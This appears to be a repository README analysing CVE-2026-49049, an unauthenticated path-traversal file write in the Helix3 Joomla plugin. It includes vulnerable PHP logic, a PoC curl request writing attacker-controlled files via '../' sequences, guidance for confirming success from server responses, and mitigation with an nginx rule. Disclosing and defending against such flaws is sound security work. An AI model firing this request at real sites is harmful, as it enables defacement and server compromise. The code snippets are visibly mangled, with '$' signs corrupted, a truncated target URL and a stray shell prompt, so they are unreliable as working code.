CVE-2026-49049 Vulnerability Analysis: Unauthenticated Arbitrary File Write in JoomShaper Helix3 (Joomla)

This repository contains materials, technical analysis, and a Proof of Concept (PoC) for the critical vulnerability CVE-2026-49049 found in the outdated template framework Helix3 by JoomShaper for the Joomla CMS (versions from 1.0 to 3.1.0 inclusive).

The vulnerability is actively being exploited in the wild by automated botnets (specifically, as part of the AntonKill defacement campaign).

🔬 Technical Vulnerability Analysis

The issue lies in Joomla's system AJAX handler (com_ajax), which calls the onAjaxHelix3() method in the plg_ajax_helix3 plugin. The component developers did not include:

1. User authentication check (Authentication Bypass).
2. CSRF token verification.
3. Path filtering (Path Traversal Validation) when processing the layoutName parameter.

Vulnerable PHP code logic:

public function onAjaxHelix3() {
    \$input = Factory::getApplication()->input;
    \(data  =\)input->post->get('data', [], 'array');
    \(action =\)data['action'];
    \(layoutName =\)data['layoutName'];

    // Отсутствует проверка прав! Отсутствует фильтрация пути!
    \$filepath = \(layoutPath .\)layoutName; 

    switch (\$action) {
        case 'save':
            // Запись контролируемых данных в произвольную директорию сервера
            fwrite(fopen(\(filepath . '.json', 'wb'),\)data['content']);
            break;
    }
}

🛠 Proof of Concept (PoC)

To verify the vulnerability, a POST request with content type application/x-www-form-urlencoded is used. This parameter packaging method is the most effective for demonstrating the flaw.

Attack Vector (cURL command):

curl -sk -X POST \
  'https://target.com' \
  -d 'data[action]=save&data[layoutName]=../../../../../../../example&data[content]={"probe":"test"}'

Detailed breakdown of transmitted data:

🎯 Server response analysis (Validation patterns)

During penetration testing, the server may return different types of responses. Their interpretation is critical:

Option A: Vulnerability successfully exploited (File written)

Server response:

{"success":true,"message":null,"messages":null,"data":[]}

Interpretation: The plugin is vulnerable, no OS restrictions. The file has been successfully created in the site root and is accessible at https://target.com. The site requires immediate cleanup and isolation.

Option B: Plugin vulnerable, but OS protection triggered

Server response:

{
  "success":false,
  "message":"fwrite(): Argument #1 (\$stream) must be of type resource, bool given",
  "messages":null,
  "data":null
}

Interpretation: Partial success. The Helix3 plugin logic is broken — it accepted data without authentication and attempted to open a file for writing (fopen). However, the Linux operating system blocked this action because the web server user (e.g., www-data) does not have write permissions to the site root.

Option C: System protected (Updated or removed)

Server response: Status 404 Not Found, 403 Forbidden or empty response []. Interpretation: The plugin has been updated to a secure version (3.1.1+) where authentication checks have been added, or it has been completely removed from the CMS.

🛡 Mitigation and threat elimination

1. Update / Remove: Update Helix3 to version 3.1.1 or higher. If the framework is not used, completely remove the plg_ajax_helix3 plugin via the Joomla administrator panel.
2. WAF-level protection (Nginx): Add a rule to block malicious POST requests:
   root@kitploit:~

   if (\(request_method = POST) { set\)test "P"; }
   if (\$arg_plugin = "helix3") { set \(test "\){test}H"; }
   if (\$test = PH) { return 403; }
   

Disclaimer: This material is provided solely for educational purposes and legitimate system security auditing (Penetration Testing). The author is not responsible for any misuse of the provided information.